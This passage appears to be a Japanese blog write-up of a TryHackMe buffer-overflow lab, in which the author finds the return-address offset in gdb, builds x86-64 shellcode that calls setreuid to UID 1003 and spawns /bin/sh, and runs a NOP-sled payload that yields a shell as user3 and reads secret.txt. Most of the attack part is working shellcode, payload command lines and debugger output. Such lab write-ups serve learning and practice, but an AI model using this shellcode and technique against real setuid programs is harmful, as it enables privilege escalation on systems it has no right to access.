new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
すべて「41」で埋め尽くされていますね。
念のため、170byteでも実行してみましょう。
(gdb) run $(python -c "print('A'*170)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*170)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ab in concat_arg ()
やりすぎているので、別アドレスになっていしまっています。
これで、164~169の6byteがリターンアドレスであることがわかりました。
16進バージョンのシェルコードは、先ほどと同様のものを使用します。
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
今回のsecret.txtを確認するためには、user3である必要があるので、setreuid()のコードも追加します。
まずは、user3のUIDを確認してみましょう。
[user1@ip-10-10-232-238 overflow-4]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
user1:x:1001:1001::/home/user1:/bin/bash
user2:x:1002:1002::/home/user2:/bin/bash
user3:x:1003:1003::/home/user3:/bin/bash
user3のUIDは、1003ですね。
pwntoolsを利用して、setreuid()の部分の16進コードを生成していきます。
┌──(hacklab㉿hacklab)-[~]
└─$ pwn shellcraft -f d amd64.linux.setreuid 1003
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
最終的なコードは、こんな感じになりました。
全部で54byteです。
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
次に16進のシェルコードのアドレスを調べていきます。
ジャンク(87byte)+シェルコード(54byte)+ジャンク(22byte)+リターンアドレス(6byte)=169byteになるようにしておきます。
シェルコード前のジャンクには、NOP(\x90)をあらかじめ入れておきます。
(gdb) run $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'B'*6")
new word is doggo���������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
リターンアドレスは、「B」にしているので「42」で埋め尽くされてますね。
メモリ位置のダンプをしておきます。
(gdb) x/100x $rsp-200
0x7fffffffe218: 0x004005a9 0x00000000 0xf7ffa268 0x00007fff
0x7fffffffe228: 0xffffe63a 0x00007fff 0x67676f64 0x9090906f
0x7fffffffe238: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe248: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0xbf66ff31 0x716a03eb 0xfe894858
0x7fffffffe298: 0x3b6a050f 0xd2314858 0x2f2fb849 0x2f6e6962
0x7fffffffe2a8: 0xc1496873 0x504108e8 0x52e78948 0xe6894857
0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x41414141
0x7fffffffe2c8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2d8: 0x42424242 0x00004242 0xffffe3d8 0x00007fff
0x7fffffffe2e8: 0x00000000 0x00000002 0x004005e0 0x00000000
0x7fffffffe2f8: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe308: 0xffffe3d8 0x00007fff 0x00040000 0x00000002
0x7fffffffe318: 0x004005ac 0x00000000 0x00000000 0x00000000
0x7fffffffe328: 0x04bbf356 0x29eb8017 0x00400450 0x00000000
0x7fffffffe338: 0xffffe3d0 0x00007fff 0x00000000 0x00000000
0x7fffffffe348: 0x00000000 0x00000000 0xc97bf356 0xd6147f68
0x7fffffffe358: 0x50bff356 0xd6146fdf 0x00000000 0x00000000
0x7fffffffe368: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe378: 0xffffe3f0 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe388: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe398: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe288の2列目にシェルコードがありますね。
NOPで埋めている箇所ならどこでもいいのですが、今回は、「0x7fffffffe288」をリターン先にしておきましょう。
Bをリターンアドレス「0x7fffffffe288」⇒「0x88e2ffffff7f」⇒「\x88\xe2\xff\xff\xff\x7f」としておきます。
[user1@ip-10-10-232-238 overflow-4]$ ./buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'\x88\xe2\xff\xff\xff\x7f'")
new word is doggo���������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAA�����
sh-4.2$ whoami
user3
無事、user3のシェルを取得することができました。
最後にsecret.txtを確認しておきます。
sh-4.2$ cat secret.txt
wowanothertime!!
Answer
まとめ
今回は、Buffer OverFlowを実際に試してみました。
正直、まだメモリの仕組みが理解しきれてないところもありますが、どうやったらオーバーフローするのかは理解できたかなと思います。
参考文献・サイト
The Bob Loblaw Blog:https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge’s cabin:https://l1ge.github.io/tryhackme_bof1/